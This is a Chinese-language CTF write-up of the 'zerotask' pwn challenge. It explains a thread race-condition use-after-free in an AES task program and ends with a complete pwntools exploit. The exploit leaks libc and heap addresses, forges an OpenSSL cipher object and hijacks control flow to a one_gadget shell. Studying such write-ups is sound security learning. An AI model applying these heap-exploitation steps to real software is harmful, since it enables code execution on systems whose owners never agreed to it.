[Pwn] zerotask - Cpt.shao xp0int Posted on Mar 25 2019 ? race-condition ? ? UAF ? 这题是一道线程相关的题目,漏洞类型是UAF,或者表述为TOCTOU(Time-of-Check Time-of-Use). 选单系统提供三个选项,分别使添加任务(add),删除任务(delete),和执行任务(go)。 问题出在执行任务的时候: 程序会新建一个线程执行run函数,run函数的操作如下:  首先程序会等待两秒,然后根据task结构体的信息进行加密/解密操作,操作后的结果输出到bss段的空间中,加密的时候先调用`EVP_CipherUpdate`生成密文,再调用`EVP_CipherFinal_Ex`(应该是padding相关操作)。 建立task的代码如下图所示。  根据代码我们可以整理出程序主要结构体的关系图。确定使UAF漏洞以后自然想通过glibc heap的方法来利用。但仔细分析以后发现行不通,首先因为UAF的操作都是在新线程中进行,而新线程调用的run函数不涉及任何malloc和delete操作,所以无法通过此类UAF来构造Overlap Chunk或者使用其他方法来返回任意地址。所以要通过劫持结构体内指针的方法来劫持控制流。 ```plain task(0x70) +-------------------------<+ +----------------+ +void *data | | |int size | | |int mode | | |char key[32] | | |... | | |char iv[16] | | |... | | +--------+ |{{void* ctx}} | | | |int id | | | |task *prev | | | | | | | +--------------------------+ | | | | | | ctx (0xa8) cipher_engine (libcrypt.so) fake(heap) | +------> +--------------------------+ +----+-------------------+ +----+-------------------+ | |EVP_CIPHER *cipher | +-----> |nid + block_szie | |nid + block_szie | | | | |key_len + iv_len | |key_len + iv_len | | | | |flags | |flags | | | | +>oid* cipher_init() | +-> +>oid* cipher_init() | | | | | void * do_cipher()) | |{{void * do_cipher() }}| | +-------+ |data | | | | | | | +--------------------------+ | | | | | | +------------------------+ +------------------------+ | | | | cipherbuf(0x108) | +-------> +--------------------------+ | | | | | | | | | | | | | | | | +--------------------------+ | | | buf(custom) +----------------> +--------------------------+ | | | | | | | | | | | | | | | | +--------------------------+ ``` 首先要做的是通过替换结构体的方式来泄露libc和heap地址信息。libc地址的泄露方式还是用老办法,构造一个unsortbin chunk,然后直接读取里面的内容就可以获得一个libc地址。这个过程又分为两个步骤: 1. 构造unsortedbin,由于这题使用了2.27版本的glibc,开启了tcache特性,要想构造一个unsortedbin先要把对应size的tcache bin填满;tcache的最大容量为7,就是我们分配8个size合适的chunk,然后逐一删除,前7个Chunk会填满tcache,最后一个就会出现在unsortedbin当中。掌握好启动线程任务的时机,先启动任务再删除task,再新建同样大小的task,要求输入内容的时候先hold住保持原先的内容不被填充,就能够打印出加密后unsortedbin中的内容。 2. 由于这是一个加密解密的程序,输出的内容也是通过`aes256-cbc`加密/解密后的内容,由于对称加密的特性,只要我们保证运行程序过程中的key和iv值保持一致,就能获得`dec(enc(m)) == m`。有想过直接利用程序本身来进行加密解密操作,也就是解析加密过后输出的内容然后新建解密任务还原。但这样显然会增加exp本身对程序的交互操作,降低exp的可靠性。所以还是尽量在exp中使用python代码来对获取到的密文进行解密。上网抄了一段比较好用的`openssl`通过shell进行加密解密操作的代码。 ```py def _encrypt_decrypt_ecb_shell(data, key, iv, decrypt): infile = tempfile.mktemp() with open(infile, "wb") as f: f.write(data) outfile = tempfile.mktemp() cmd = ['openssl', 'enc'] if decrypt: cmd.append('-d') cmd += ['-aes-256-cbc', # '-nopad', '-in', infile, '-out', outfile, '-K', key.encode("hex"), '-iv', iv.encode("hex")] subprocess.Popen(cmd).wait() with open(outfile) as f: result = f.read() # print hexdump(result) return result def encrypt(data): return _encrypt_decrypt_ecb_shell(data, KEY, IV, False) def decrypt(data): return _encrypt_decrypt_ecb_shell(data, KEY, IV, True) ``` 有了加密解密函数就可以正确解析出泄露出的内容了。 泄露heap地址的方法也是类似,甚至不需要填充tcache,直接通过tcache的单链表指针即可泄露出heap地址。 漏洞的利用方法就是趁着线程sleep的时候用buf替换掉task,修改其中ctx指针指向一个伪造的ctx对象,ctx对象的第一个成员变量指向的是一个engine对象,此处是`EVP_aes_256_cbc`engine,里面包含一个`init`指针一个`do_cipher`指针,在线程中的`EVP_EncryptInit_ex`和`EVP_DecryptInit_ex`都将调用`do_cipher`指针,如果我们伪造一个engine对象,指针替换成目标函数即可造成劫持控制流的效果。 劫持控制流的时候本想通过找一个libc里面的gadget结合寄存器中的值来调用`system("/bin/sh")`,花了很多时间找了一条合适的gadget`0x000000000015b249: mov rdi, r12; call qword ptr [rax + 0x28]; `,结果在`system`函数内部报错,莫非是线程的原因? 兜兜转转把`[rax+0x28]`改成`one_gadget`以后再调用这条gadget竟然又成功了。 最后附上阅读openssl源码使用的在线源码阅读系统地址:https://code.woboq.org/crypto/openssl/crypto/evp, 真香。 以下是exp: ## exp.py ```py from pwn import * import time # flag{pl4y_w1th_u4F_ev3ryDay_63a9d2a26f275685665dc02b886b530e} # context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' env = {'LD_PRELOAD': '/pwn/libc-2.27.so /pwn/libcrypto.so.1.0.0'} if len(sys.argv) == 1: p = process('./task', env=env) elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) def rc(x): return p.recv(x) def ru(x): return p.recvuntil(x) def se(x): return p.send(x) def sl(x): return p.sendline(x) def sea(a, b): return p.sendafter(a, b) def sla(a, b): return p.sendlineafter(a, b) def info_addr(tag, addr): return p.info(tag + ': {:#x}'.format(addr)) KEY = '\x00'*32 IV = '\x00'*16 def add_enc_task(_id, size, data, interrupt=False): ru('Choice: ') sl('1') ru('id : ') sl(str(_id)) ru(':') sl('1') ru('Key :') se(KEY) ru('IV :') se(IV) ru('Size :') sl(str(size)) ru('Data :') if (interrupt): raw_input("interrupt") se(data) def add_dec_task(_id, size, data): ru('Choice: ') sl('1') ru('id : ') sl(str(_id)) ru(':') sl('2') ru('Key :') se(KEY) ru('IV :') se(IV) ru('Size :') sl(str(size)) ru('Data :') def delete(_id): ru('Choice: ') sl('2') ru('id :') sl(str(_id)) def go(_id): ru('Choice: ') sl('3') ru('id :') sl(str(_id)) def get_cipher_text(size): line = (size + 0x10) / 0x10 ru('Ciphertext: \n') content = " ".join(p.recvlines(line)) content = content.replace(" ", "").strip() content = unhex(content) return content def leak_libc(): # make libc addr on heap for i in range(8): add_enc_task(i, 0x90, str(i)*0x90) go(1) for i in range(9): delete(8-i) add_enc_task(9, 0x250, '') leak = get_cipher_text(0x250) leak = decrypt(leak) leak_libc = u64(leak[8:0x10]) se('/bin/sh'.ljust(0x250)) info_addr('leak_libc', leak_libc) libc_start = leak_libc - 0x3ebca0 return libc_start def leak_heap(): add_enc_task('10', 0x90, 'a'*0x90) go(10) delete(10) add_enc_task(9, 0x90, '') leak = get_cipher_text(0x90) leak = decrypt(leak) leak_heap= u64(leak[0:8]) info_addr('leak_heap', leak_heap) heap_start = leak_heap - 0x1a80 return heap_start def UAF_CTX(libc_start, heap_start): # 0x000000000015b249: mov rdi, r12; call qword ptr [rax + 0x28]; gadget1 = libc_start + 0x15b249 info_addr("gadget1", gadget1) one_gadget = libc_start + 0x4f322 info_addr("onegadget", one_gadget) system = libc_start + 0x4f440 fake_cipher = p64(0x10000001ab) + p64(0x1000000020) + p64(0x1002) + p64(0) + p64(gadget1) + p64(one_gadget) + p64(108) fake_cipher = p64(heap_start+0x17a8) + fake_cipher se(fake_cipher.ljust(0x90)) add_enc_task('111', 0x20, 'A'*0x20) add_enc_task('222', 0x70, 'B'*0x70) go(222) delete(222) delete(111) fake_task = p64(heap_start+0x1300) + p64(0xb0) + p64(1) + '\x00'*32 + '\x00'*32 + p64(heap_start+0x17a0) + p64(222) + p64(0) p.info("fake_task: %x" % len(fake_task)) add_enc_task('333', 0x70, fake_task) libc_start = leak_libc() info_addr('libc_start', libc_start) heap_start = leak_heap() info_addr('heap_start', heap_start) UAF_CTX(libc_start, heap_start) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Re] Elements - mf
没有帐号? 立即注册